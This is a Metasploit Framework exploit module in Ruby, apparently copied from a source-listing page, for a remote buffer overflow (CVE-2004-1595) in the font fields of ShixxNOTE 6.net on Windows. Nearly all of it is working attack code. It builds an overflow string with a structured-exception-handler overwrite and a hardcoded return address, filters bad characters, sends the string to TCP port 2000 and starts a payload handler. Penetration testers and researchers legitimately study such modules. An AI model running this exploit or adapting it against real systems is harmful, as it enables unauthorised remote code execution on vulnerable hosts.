|   1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89  |  ## # $Id: shixxnote_font.rb 9525 2010-06-15 07:18:08Z jduck $ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote  Rank = GreatRanking  include Msf::Exploit::Remote::Tcp  include Msf::Exploit::Remote::Seh  def initialize(info = {})  super(update_info(info,  'Name' => 'ShixxNOTE 6.net Font Field Overflow',  'Description'=> %q{  This module exploits a buffer overflow in ShixxNOTE 6.net.  The vulnerability is caused due to boundary errors in the  handling of font fields.  },  'Author' => 'MC',  'License'=> MSF_LICENSE,  'Version'=> '$Revision: 9525 $',  'References' =>  [  ['CVE', '2004-1595'],  ['OSVDB', '10721'],  ['BID', '11409'],  ],  'DefaultOptions' =>  {  'EXITFUNC' => 'process',  },  'Payload'=>  {  'Space'=> 650,  'BadChars' => "\x00\x09\x0a\x0d\x20\x22\x25\x26\x27\x2b\x2f\x3a\x3c\x3e\x3f\x40",  'StackAdjustment' => -3500,  },  'Platform' => 'win',  'Targets'=>  [  [ 'ShixxNOTE 6.net Universal', { 'Ret' => 0x10041951 } ],  ],  'Privileged' => false,  'DisclosureDate' => 'Oct 4 2004',  'DefaultTarget' => 0))  register_options(  [  Opt::RPORT(2000)  ], self.class)  end  def exploit  connect  print_status("Trying target #{target.name}...")  sploit=rand_text_alpha_upper(8, payload_badchars)  sploit+= "~~"  sploit+= rand_text_alpha_upper(118, payload_badchars)  seh =generate_seh_payload(target.ret)  sploit[112, seh.length] = seh  sploit+= rand_text_alpha_upper(200, payload_badchars)  sploit+= "~" * 10  sock.put(sploit)  handler  disconnect  end end  |